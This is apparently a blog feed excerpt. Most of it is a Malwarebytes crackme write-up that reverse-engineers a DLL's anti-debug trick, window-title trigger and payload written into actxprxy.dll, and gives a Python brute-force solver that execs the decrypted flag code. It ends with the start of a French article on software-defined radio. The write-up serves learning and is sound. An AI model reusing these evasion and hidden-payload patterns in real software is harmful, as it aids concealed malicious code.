<figure id="post-15629 media-15629" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15629 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I23.png" alt="" width="207" height="110" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I23.png 207w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I23-71x39.png 71w" sizes="auto, (max-width: 207px) 100vw, 207px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Function sub_1000E61D() call</i></span></div>
<p>The function seems to take 4 arguments:</p>
<ul>
<li>An <b>integer </b>(here the PID of the process);</li>
<li>A <b>buffer </b>(here named “Value”);</li>
<li>The <b>size of the buffer</b> (here 0x104);</li>
<li>A <b>value </b>(here 0xA, or 10).</li>
</ul>
<p>Looking at the provided buffer’s content after the function call, we see that the representation in base 10 of the first integer passed in parameter is written in the provided buffer.</p>
<figure id="post-15631 media-15631" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15631 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I24.png" alt="" width="214" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I24.png 214w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I24-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I24-156x121.png 156w" sizes="auto, (max-width: 214px) 100vw, 214px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Value buffer after the call</i></span></div>
<p>The function prototype and its side effects correspond to the <b>_itoa_s</b> function .</p>
<p><u>Handler_0 whole CFG and pseudo-code</u><br />
Here is the graph of the Handler_0 function:</p>
<figure id="post-15633 media-15633" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15633 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25.png" alt="" width="400" height="365" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25-209x191.png 209w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25-43x39.png 43w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<figure id="post-15633 media-15633" class="align-none">
<figure id="post-15633 media-15633" class="align-none">
<figure id="post-15675 media-15675" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15675 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25bis.png" alt="" width="400" height="255" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25bis.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25bis-300x191.png 300w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25bis-61x39.png 61w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
</figure>
</figure>
<figure id="post-15635 media-15635" class="align-none"></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>CFG of function Handler_0()</i></span></div>
<p>This corresponds to the following pseudo code:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>if isloaded(“python.dll”):
   pid = getpid()
else:
   pid = 0
setEnvironmentVariable(“mb_chall”, str(pid))
return EXCEPTION_CONTINUE_SEARCH</pre>
</div>
<p>The function<b> checks the presence of the python27.dll</b> library (normally loaded by the main program mb_crackme_2.exe) in the process address space, and sets the <b>“mb_chall” environment variable </b>consequently.<br />
This may be seen as an “anti-debug” trick, because running the DLL independently in a debugger makes the execution follow a different path.</p>
<p><b>Handler_1 (0x100011D0)</b><br />
The code of this handler is quite self-explanatory, being similar to the previous handler’s code:</p>
<figure id="post-15635 media-15635" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15635 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26.png" alt="" width="400" height="350" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26-218x191.png 218w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26-45x39.png 45w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15677 media-15677" class="align-none"><img loading="lazy" decoding="async" class="alignnone wp-image-15677 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26bis.png" alt="" width="400" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26bis.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26bis-308x191.png 308w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26bis-63x39.png 63w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>Once again, this corresponds to the following pseudo code:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>if getpid() == int(getenv(“mb_chall”):
   tmp = 6
else:
   tmp = 1
exceptionInfo-&gt;Context._Eip += tmp
return EXCEPTION_CONTINUE_EXECUTION</pre>
</div>
<p>After this handler, execution restarts at the address of original interruption (“int 3”) +1 or +6 (as presented in the pseudo-code above), whether performed checks pass or not.</p>
<figure id="post-15637 media-15637" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15637 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I27.png" alt="" width="640" height="150" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I27.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I27-437x102.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I27-71x17.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>We thus continue the analysis at the <b>not_fail function</b> (0x100010D0).</p>
<p><b>not_fail (0x100010D0)</b><br />
The function only starts a thread and waits for it to terminate.</p>
<figure id="post-15639 media-15639" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15639 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I28.png" alt="" width="319" height="231" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I28.png 319w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I28-264x191.png 264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I28-54x39.png 54w" sizes="auto, (max-width: 319px) 100vw, 319px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>CFG of not_fail() function</i></span></div>
<p>The created thread executes the <b>MainThread</b> (0x10001110) function, where our analysis continues.</p>
<p><b>MainThread (0x10001110)</b><br />
The function loops and calls the <b>EnumWindows</b>  API every second, which in turn calls the provided callback function (<b>EnumWindowsCallback</b>) on every window present on the desktop.<br />
<b><br />
</b></p>
<figure id="post-15641 media-15641" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15641 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I29.png" alt="" width="284" height="400" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I29.png 284w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I29-136x191.png 136w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I29-28x39.png 28w" sizes="auto, (max-width: 284px) 100vw, 284px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>CFG of MainThread() function</i></span></div>
<p><b>EnumWindowsCallback function (0x10005750)</b><br />
The function, called on each window, uses the <b>SendMessageA</b>  API with the WM_GETTEXT message to retrieve the window’s title.</p>
<figure id="post-15643 media-15643" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15643 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I30.png" alt="" width="320" height="175" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I30.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I30-71x39.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>SendMessageA() call in MainThread()</i></span></div>
<p>After being converted to C++ std::string, the substrings <b>“Notepad”</b> and <b>“secret_console”</b> are searched in the window’s title.</p>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15645 media-15645" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15645 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I31.png" alt="" width="363" height="404" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I31.png 363w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I31-172x191.png 172w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I31-35x39.png 35w" sizes="auto, (max-width: 363px) 100vw, 363px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Strings « Notepad » and « secret_console » searched for in window title</i></span></div>
<p>If both substrings are present, the window’s title is replaced by the hardcoded string <b>“Secret Console is waiting for the commands&#8230;”</b>, using the SendMessageA API along with the WM_SETTEXT message. The window is placed to the <b>foreground,</b> using the ShowWindow API call.</p>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15647 media-15647" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15647 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I32.png" alt="" width="295" height="330" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I32.png 295w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I32-171x191.png 171w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I32-35x39.png 35w" sizes="auto, (max-width: 295px) 100vw, 295px" /></figure>
<p><span style="font-size: x-small;"><i>Modification of the window&rsquo;s title using SendMessageA()</i></span>
</div>
<p>The PID of the process corresponding to the window is then written in the “malware”’s console, and sub-windows of this window are enumerated, using the EnumChildWindows  API.The function <b>EnumChildWindowsCallback</b> (0x100034C0) is thus called on every sub-window.</p>
<figure id="post-15649 media-15649" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15649 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I33.png" alt="" width="438" height="309" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I33.png 438w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I33-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I33-55x39.png 55w" sizes="auto, (max-width: 438px) 100vw, 438px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>EnumChildWindows() function call</i></span></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i> </i></span></div>
<p><b>EnumChildWindowsCallback function (0x100034C0)</b><br />
This function gets the content of the sub-window using the SendMessageA API call:</p>
<figure id="post-15651 media-15651" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15651 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I34.png" alt="" width="436" height="222" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I34.png 436w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I34-375x191.png 375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I34-71x36.png 71w" sizes="auto, (max-width: 436px) 100vw, 436px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>SendMessageA() call in EnumChildWindowsCallback() function</i></span></div>
<p>The substring <b>“dump_the_key”</b> is then searched in the retrieved content:</p>
<figure id="post-15653 media-15653" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15653 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35.png" alt="" width="328" height="254" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35.png 328w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35-247x191.png 247w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35-155x120.png 155w" sizes="auto, (max-width: 328px) 100vw, 328px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Search for « dump_the_key »</i></span></div>
<p>If this string is found, this function calls a decryption routine <b>decrypt_buffer()</b> (0x100016F0) on a buffer (encrypted_buff), using the string “dump_the_key” as argument.</p>
<figure id="post-15655 media-15655" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15655 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I36.png" alt="" width="514" height="251" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I36.png 514w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I36-391x191.png 391w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I36-71x35.png 71w" sizes="auto, (max-width: 514px) 100vw, 514px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Decrypting a hardcoded buffer using « dump_the_key » as key</i></span></div>
<p>Then, the “malware” loads the <b>actxprxy.dll </b>library into the process memory space. The first 4096 bytes (i.e. the first memory page) of the library is made writable using the VirtualProtect API call, and the decrypted payload is written at this location.</p>
<figure id="post-15657 media-15657" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15657 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I37.png" alt="" width="640" height="395" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I37.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I37-309x191.png 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I37-63x39.png 63w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Loading a library and writing the decrypted buffer at its location</i></span></div>
<p>Since the actxprxy.dll library is not used anywhere in the analyzed DLL after being re-written, it may be seen as a <b>covert communication channel </b>between the analyzed DLL and the main program mb_crackme_2.exe. After this, the function clears every allocated memory and exits. The created thread (see 4.2.6) therefore also exits, and the DllEntryPoint function call terminates, giving the control back to the main python script.</p>
<h3>Triggering the secret console</h3>
<p>As seen in the DLL analysis, to trigger the required conditions, a file named<b> “secret_console – Notepad”</b> is opened in a text editor. As such, the window title contains the mentioned substrings:</p>
<figure id="post-15659 media-15659" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15659 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I38.png" alt="" width="320" height="219" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I38.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I38-279x191.png 279w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I38-57x39.png 57w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Opening a file named « secret_console_Notepad.txt » on Notepad++</span></i></div>
<p>As expected, the title of the window is changed to “Secret Console is waiting for the commands…” by the malware. Writing “dump_the_key” in the window validates the second stage.</p>
<figure id="post-15661 media-15661" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15661 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I39.png" alt="" width="320" height="242" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I39.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I39-253x191.png 253w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I39-52x39.png 52w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Writing « dump_the_key » in the text editor</i></span></div>
<h1>Stage 3: the colors</h1>
<p>After validating the previous step, a message is printed on the console, asking the user to “guess a color”:</p>
<figure id="post-15663 media-15663" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15663 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I40.png" alt="" width="640" height="67" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I40.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I40-437x46.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I40-71x7.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Level 3 Message</i></span></div>
<p>The <b>three components (R, G and B) of a specific color</b>, with values going from 0 to 255, need to be entered to validate this step.</p>
<figure id="post-15665 media-15665" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15665 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I41.png" alt="" width="320" height="144" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I41.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I41-71x32.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Level 3 failed guess message</i></span></div>
<h3>Understanding the code</h3>
<p>Looking back at the another.py’s main() function code, it seems that the corresponding operations are performed inside the <b>decode_pasted()</b> function.</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>def main():
   [...]
      load_level2(decdata, len(decdata))
      user32_dll.MessageBoxA(None, 'You did it, level up!', 'Congrats!', 0)
      try:
         if decode_pasted() == True:
            user32_dll.MessageBoxA(None, '''Congratulations! Now save your flag and 
send it to Malwarebytes!''', 'You solved it!', 0)
            return 0</pre>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>def decode_pasted():
    my_proxy = kernel_dll.GetModuleHandleA('actxprxy.dll')
    if my_proxy is None or my_proxy == 0:
        return False
    else:
        char_sum = 0
        arr1 = my_proxy
        str = ''
        while True:
            val = get_char(arr1)
            if val == '\x00':
                break
            char_sum += ord(val)
            str = str + val
            arr1 += 1

        print char_sum
        if char_sum != 52937:
            return False
        colors = level3_colors()
        if colors is None:
            return False
        val_arr = zlib.decompress(base64.b64decode(str))
        final_arr = dexor_data(val_arr, colors)
        try:
            exec final_arr
        except:
            print 'Your guess was wrong!'
            return False

        return True</pre>
</div>
<p>&nbsp;</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>def dexor_data(data, key):
    maxlen = len(data)
    keylen = len(key)
    decoded = ''
    for i in range(0, maxlen):
        val = chr(ord(data[i]) ^ ord(key[i % keylen]))
        decoded = decoded + val
    return decoded</pre>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>def level3_colors():
    colorama.init()
    print colorama.Style.BRIGHT + colorama.Fore.CYAN
    print '''Level #3: Your flag is almost ready! But before it will be revealed
, you need to guess it's color (R,G,B)!'''
    print colorama.Style.RESET_ALL
    color_codes = ''
    while True:
        try:
            val_red = int(raw_input('R: '))
            val_green = int(raw_input('G: '))
            val_blue = int(raw_input('B: '))
            color_codes += chr(val_red)
            color_codes += chr(val_green)
            color_codes += chr(val_blue)
            break
        except:
            print 'Invalid color code! Color code must be an integer (0,255)'
    print 'Checking: RGB(%d,%d,%d)' % (val_red, val_green, val_blue)
    return color_codes</pre>
</div>
<p>According to the decode_pasted() function, the decrypted buffer stored at the start of actxprxy.dll’s address space is read and:<br />
base64-decoded;</p>
<ul>
<li>zlib-decompressed;</li>
<li>XOR’ed against the user-provided colors values;</li>
<li>Executed by the Python exec function.</li>
</ul>
<p>To start our cryptanalysis, we <b>modify the decode_pasted() function</b> to dump the val_arr buffer before the dexor_data() operation, and rerun another.py, providing all required credentials:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>[...]
if colors is None:
   return False
val_arr = zlib.decompress(base64.b64decode(str))
with open("val_arr.bin", "wb") as f:
   f.write(val_arr)
   print "val_arr dumped !"
exit()
final_arr = dexor_data(val_arr, colors)
[...]</pre>
</div>
<p>&nbsp;</p>
<figure id="post-15667 media-15667" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15667 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I42.png" alt="" width="213" height="118" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I42.png 213w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I42-71x39.png 71w" sizes="auto, (max-width: 213px) 100vw, 213px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Dumping the XOR&rsquo;ed array</span></i></div>
<h3>Decrypting the val_arr buffer</h3>
<p>Knowing that the buffer is a string passed to the “exec” Python statement after being decrypted, it should represent a <b>valid Python source code</b>.<br />
To find the right key, the naïve solution would be to run a brute-force attack on all the possible “(R, G, B)” combinations, and look for printable solutions. This solution would need to perform 256^3 = 16’777’216 dexor_data() calls, which is feasible but <b>inefficient</b>.<br />
Instead, we perform 3 independent brute-force attacks on each R, G and B component, therefore performing 256 x 3 = 768 dexor_data() calls. The 3 brute-force attacks are performed on different “slices” of the val_arr string (of each of stride 3). We then test each combination of potential values previously found for each component.<br />
For example, if our 3 brute-force attacks indicate that:</p>
<ul>
<li>R can take values 2 and 37,</li>
<li>G can take values 77 and 78,</li>
<li>and B can only take the value 3,</li>
</ul>
<p>Then we test the combinations (2,77, 3), (37,77, 3), (2,78, 3) and (37,78, 3).</p>
<p>The following code implements our attack:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>import string
import itertools
from colorama import *
from another import dexor_data

with open("val_arr.bin", "rb") as f:
    val_arr = f.read()

#lists of possible values for R, G and B
potential_solutions = [list(), list(), list()]
for color in range(3): # separate bruteforce on R, G and B
    for xor_value in range(256): #testing all potential values
        valid = True
        for b in val_arr[color::3]: #extracting one every 3 characters, from index 
        # "color" (i.e. extracting all characters xored by the same "color" value)
            if chr(ord(b) ^ xor_value) not in string.printable:
                valid = False
                break
        if valid:
            potential_solutions[color].append(xor_value)

print "Possible values for R, G and B :", potential_solutions

for colors in itertools.product(*potential_solutions):
    print "Testing ", colors
    plaintext = dexor_data(val_arr, map(chr, colors))
    print repr(plaintext)
    if not raw_input("Does it seems right ? [Y/n]\n").startswith("n"):
       print "Executing payload :"
       exec plaintext
       break</pre>
</div>
<p>Executing this code gives us the solution instantly:</p>
<figure id="post-15669 media-15669" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15669 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I43.png" alt="" width="640" height="199" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I43.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I43-437x136.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I43-71x22.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Decrypting the payload</span></i></div>
<p>The final flag appears in the console:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>flag{"Things are not always what they seem; the first appearance 
deceives many; the intelligence of a few perceives what has been 
carefully hidden." - Phaedrus}</pre>
</div>
<h2>Conclusion</h2>
<p>This challenge was very interesting to solve, because apart from being an original crackme, it also included various topics that could be found during a real malware analysis. These topics included:</p>
<ul>
<li>DLL-rewriting techniques, here used as a kind of covert communication channel between a DLL and its main process;</li>
<li>“Non-obvious” anti-debugging tricks, like checking the presence of a known library in the process’ memory space to identify standalone DLL debugging;</li>
<li>Concealed malware downloading, using « harmless » formats (like PNG) to hide an executable payload from basic traffic analysis;</li>
<li>PyInstaller-based malware, (yes, sometimes malware writers can be lazy).</li>
</ul>
<p>Thanks MalwareBytes for this entertaining challenge!</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/06/malwarebytes-challenge-write-up/">Malwarebytes challenge write-up</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Introduction au Software Defined Radio (SDR)</title>
		<link>https://www.riskinsight-wavestone.com/2018/03/introduction-au-software-defined-radio-sdr/</link>
		
		<dc:creator><![CDATA[Vincent Deperiers]]></dc:creator>
		<pubDate>Thu, 08 Mar 2018 15:41:55 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Defined]]></category>
		<category><![CDATA[Radio]]></category>
		<category><![CDATA[SDR]]></category>
		<category><![CDATA[Software]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=16251</guid>

					<description><![CDATA[<p>L’utilisation accrue d’objets sans-fil (téléphone, objet connecté, casque audio, télécommande, …) et la mise à disposition d’antennes bon marché favorisent l’étude des signaux radio. Les deux premiers articles de cette série visent à introduire les composants de la radio-logicielle (SDR)...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/03/introduction-au-software-defined-radio-sdr/">Introduction au Software Defined Radio (SDR)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-16253 media-16253" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-16253 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/1.png" alt="" width="640" height="284" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/1-430x191.png 430w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/1-71x32.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">L’utilisation accrue d’objets sans-fil (téléphone, objet connecté, casque audio, télécommande, …) et la mise à disposition d’antennes bon marché favorisent l’étude des signaux radio. Les deux premiers articles de cette série visent à introduire les composants de la radio-logicielle (SDR) et de l’étude des ondes radio. D’autres articles seront ensuite publiés avec pour objectif d’évaluer la sécurité de l’utilisation d’un objet sans-fil.</div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Définition</h3>
<div style="text-align: justify;">Jusqu’à très récemment, il était plus rapide d’utiliser un matériel dédié pour réaliser une tâche ; c’est dans ce contexte que la radio s’est développée. Aujourd’hui, la puissance des calculateurs des ordinateurs permet de traiter une large quantité de données (plusieurs millions par secondes) et donc de traiter les signaux radio efficacement.</div>
<div style="text-align: justify;">Si les briques de traitement du signal (dont la modulation/démodulation) peuvent être aujourd’hui déportés sur un ordinateur, la fonctionnalité de réception (ou d’émission) nécessite toujours un matériel dédié. Plusieurs définitions existent pour le terme de « radio-logicielle » ou SDR an anglais (Software Defined Radio), nous proposons la suivante :</div>
<div style="text-align: justify;">Outils permettant de réceptionner ou d’émettre un signal qui sera par la suite traité par logiciel.</div>
<div style="text-align: justify;">Le matériel nécessaire pour faire du SDR (« antenne SDR ») est donc composé au minimum des éléments suivants :</div>
<div style="text-align: justify;"></div>
<ul>
<li>Une antenne avec des capacités en réception et/ou transmission.</li>
<li>Un convertisseur Analogique-Numérique (DAC) et/ou Numérique-Analogique (NAC). Il constitue l’interface entre le domaine électromagnétique (analogique) et informatique (numérique).</li>
<li>Dans certains cas, l’antenne peut embarquer des filtres et amplificateurs pour faciliter le travail du logiciel.</li>
</ul>
<p>&nbsp;</p>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Le RTL-SDR, l’avènement du SDR bon marché</h3>
